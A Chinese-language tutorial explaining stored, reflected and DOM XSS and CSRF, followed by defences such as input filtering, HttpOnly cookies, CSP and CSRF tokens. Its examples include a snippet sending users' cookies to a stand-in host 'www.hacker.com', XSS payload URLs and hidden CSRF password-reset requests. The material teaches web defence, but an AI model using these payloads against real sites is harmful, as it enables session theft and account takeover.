Web安全攻防(一)XSS注入和CSRF

发布于 1970年 01月 01日 08:00

跨站脚本攻击(XSS)

XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS。

攻击原理:

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS攻击按类型可以分为三种:

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

1.1 存储型XSS

存储型XSS,顾名思义就是攻击者上传的恶意脚本的数据被保存到数据库中,当页面渲染的时候如果执行到这段脚本,网站就会被攻击。

这种攻击常见于支持用户保存数据的网站,如论坛发帖、商品评论、用户私信、留言等功能。

简单示例1:

一个网站留言栏黑客输入了如下内容

<script>alert('hello');</script>

如果网站没做处理,那么所有用户打开这个网站的留言栏都会弹出hello的一个框,严重影响了用户体验,甚至还可以窃取cookie。

简单示例2:

窃取用户cookie后发送到黑客。直接发送,可能会因为跨域而失败,可以通过图片标签的方式绕过:

(function () {
 (new Image()).src = 'http://www.hacker.com/h?c=' +
    escape("url=" + document.location.href) +
    escape('&cookie=' + document.cookie);
})();

上面的http://www.hacker.com/h是一个controller,可以接收请求并将参数保存。

1.2 反射型XSS

反射型XSS,又称非持久型XSS,也已代码没有被保存到目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。

示例:网站有一个功能的实现是将链接上参数的内容展示在网页上。

后端代码:

@RequestMapping("/reflectxss")
    public String reflectxss(String content, ModelMap modelMap){
        modelMap.addAttribute("result",content);
        return "reflectxss";
  }

前端代码:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <span th:utext="${result}"></span>
</body>
</html>

如果用户参数里是一个正常的数据还好,如果是黑客输入一个js脚本获取cookie

http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>

构建DOM

http://localhost:8080/reflectxss?content=<input type="button" value="登录"/>

1.3 DOM型XSS

DOM型XSS其实就是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,不需要与服务端进行交互。

示例代码:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>domxss</title>
</head>
<body>
<title>测试</title>
<div id="mystr"></div>
<script type="text/javascript">
    function getQueryString(name) {
        var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
        var r=window.location.search.substr(1).match(reg);
        if(r!=null){
            return decodeURI(r[2]);
        }else {
            return null;
        }
    }
    
    document.getElementById("mystr").innerHTML=(getQueryString("domxss"));
</script>
</body>
</html>

它会将链接中的参数取出来,然后用innerHtml的方式渲染。

  1. 注入js脚本,未成功

http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>

使用innerHtml获得的JS代码是不会被执行的,JS只有在页面初次加载的时候才有效
2. 构造DOM

http://localhost:8080/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>

  1. 利用img标签

http://localhost:8080/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' onerror='alert(110)'/>

img标签的src填一个不存在的图片,onerror里的脚本会被执行。

1.4 攻击原理及危害分析

基本实现原理:

  1. 通过img标签的src发送数据
  2. 构造表单诱导用户输入账号密码
  3. 构造隐藏的form表单自动提交
  4. 页面强制跳转
  5. 植入文字链接、图片链接
  6. 构造iframe
  7. 构造其他HTML标签

潜在危害:

  1. 获取其他用户的Cookie,冒充身份登录
  2. 构造表单诱导用户输入账号密码,盗取账密
  3. 跳转到其他网站,窃取流量
  4. 植入广告、外链
  5. 通过隐藏友链提升网站百度权重

1.5 XSS漏洞预防

  1. 对用户的输入进行验证

包括前端页面和后端,都需要对用户输入进行验证和限制,包括输入长度验证、特殊字符限制。可以使用apache commons text、使用owasp AntiSamy等框架进行字符校验

使用owasp AntiSamy:

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.5.8</version>
</dependency>
public class XSSEncode {

    static Policy policy;

    static {
        String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
        if(path.startsWith("file")){
            path=path.substring(6);
        }
        try {
            policy = Policy.getInstance(path);
        } catch (PolicyException e) {
            e.printStackTrace();
        }
    }

    public static String xssEncode(String value) throws PolicyException, ScanException {
        AntiSamy antiSamy=new AntiSamy();
        CleanResults results = antiSamy.scan(value, policy);
        //返回安全性的html
        return results.getCleanHTML();
    }

    public static void main(String[] args) throws ScanException, PolicyException {
        String s = xssEncode("<script>alert22</script>afdsf");
        System.out.println(s);
    }
}

使用 apache commons-text

 <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.5</version>
</dependency>
import org.apache.commons.text.StringEscapeUtils;
import org.owasp.validator.html.*;


public class XSSEncode2 {

    public static String xssEncode(String value){
//        StringEscapeUtils.escapeJson(value);
//        StringEscapeUtils.escapeEcmaScript(value);
        return StringEscapeUtils.escapeHtml4(value);
    }
}

  1. Cookie防护

将cookie设置为httponly

resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")

  1. 设置frame、iframe限制

iframe可以配置三个策略:

  • DENY 不允许
  • SAMEORIGIN 可在相同域名页面的iframe中展示
  • ALLOW-FROM uri 可在指定页的frame中展示

nginx中配置:

add_header X-Frame-Options SAMEORIGIN;

filter中配置:

resp.setHeader("x-frame-options","SAMEORIGIN");
  1. 输出时转义

thymeleaf:

<!--非转义输出,原样输出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--转义输出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>

JSP:

<!--默认true,进行转义-->
<c:out value=" ${ content }" escapeXml="false" />
  1. dom型xss避免

避免使用innerHtml、outerHTML、document.write(),应使用textContent、setAttribute;尤其注意onclick、onerror、onload、onmouseover、eval()、setTimeout()、setInterval()
6. 富文本处理

做富文本的展示需求时,应特别注意,事件应该被严格禁止,因为富文本的需求里不应该包括事件这种动态效果。富文本过滤中,处理CSS是一件比较麻烦的事情,如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS。

有些开源项目实现了对富文本的XSS检查,Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。

1.6 内容安全策略防护

内容安全策略(CSP :Content-Security-Policy)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击。

CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体

CSP的分类:

  • Content-Security-Policy 配置好后,不符合的内容资源会被阻止加载
  • Content-Security-Policy-Report-Only 仅仅记录违反限制的行为

配置的地方:

  1. 可以在http header上
  2. 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">

配置语法:

示例:

  1. 限制所有外部资源,都只能从当前域名加载,不包含子域名‘
Content-Security-Policy: default-src 'self'
  1. 限制所有的外部资源,都只能从当前域名及其*.lagou.com域名加载
Content-Security-Policy: default-src 'self' *.lagou.com
  1. 图片可以从任意地方加载,视频只能从media1.com和media2.com加载,js只能从scripts.lagou.com加载
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.lagou.com
  1. 仅允许从https://onlinebanking.abc.com网站访问
Content-Security-Policy: default-src https://onlinebanking.abc.com

  1. 启用违例报告
Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi

1.7 XSS漏洞扫描工具

常见的扫描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,
Arachni,Acunetix等

跨站请求伪造(CSRF)

CSRF攻击的全称是跨站请求伪造(cross site request forgery)。是一种对网站的恶意利用,听起来跟XSS有点相似,但事实上CSRF与XSS差别很大。CSRF是通过用户浏览器冒充用户身份向服务器发起伪造请求。

CSRF攻击原理:

  1. 用户打开浏览器,访问了受信任网站A,并且输入用户名密码登录了网站A
  2. 用户信息通过验证后,网站A产生了Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
  3. 用户未退出网站A之前,同一个浏览器中又打开一个TAB页访问了黑客的网站B
  4. 网站B收到用户请求后,返回一些攻击代码(调用网站A的接口)
  5. 浏览器接收到攻击代码后,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道请求其实是网站B发起的,所以执行了网站B的恶意代码。

示例:

你以为你访问黑客的网站只是看了个美女,其实它偷偷把你其他网站A的密码改了。因为你刚登陆了网站A,所以如果没有其他验证的话你的密码就被改了。

代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>美女图片</title>
</head>
<body>
    <img src="images/801910ac238baefd3271af9d684691f1.jpeg" />
    <img src="http://localhost:8080/resetPassword" />
</body>
</html>

攻击方式:

get请求:

<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>

post请求:

隐藏表单、自动提交,把功能通过iframe引入新页面

<iframe src="form.html" style='display:none'></iframe>

CSRF安全防护

  1. referer校验

校验referer是否从本网站发起的

  1. 二次验证

比如加一些验证码,修改密码的时候需要输入原密码等等

  1. token验证

用户访问正常网站的时候服务器生成一个token,并且给到客户端。客户端每次请求都要带上,校验通过才行。而你访问黑客的网站的时候,他拿不到你的token所以不能请求成功。

CRSR扫描工具

CSRFTester是一款CSRF漏洞的测试工具,此工具的测试原理如下:它使用代理抓取浏览器中访问过的连接以及表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果被测试的请求成功被网站服务器接受,则说明存在CSRF漏洞,否则不存在。此款工具也可以被用来进行CSRF攻击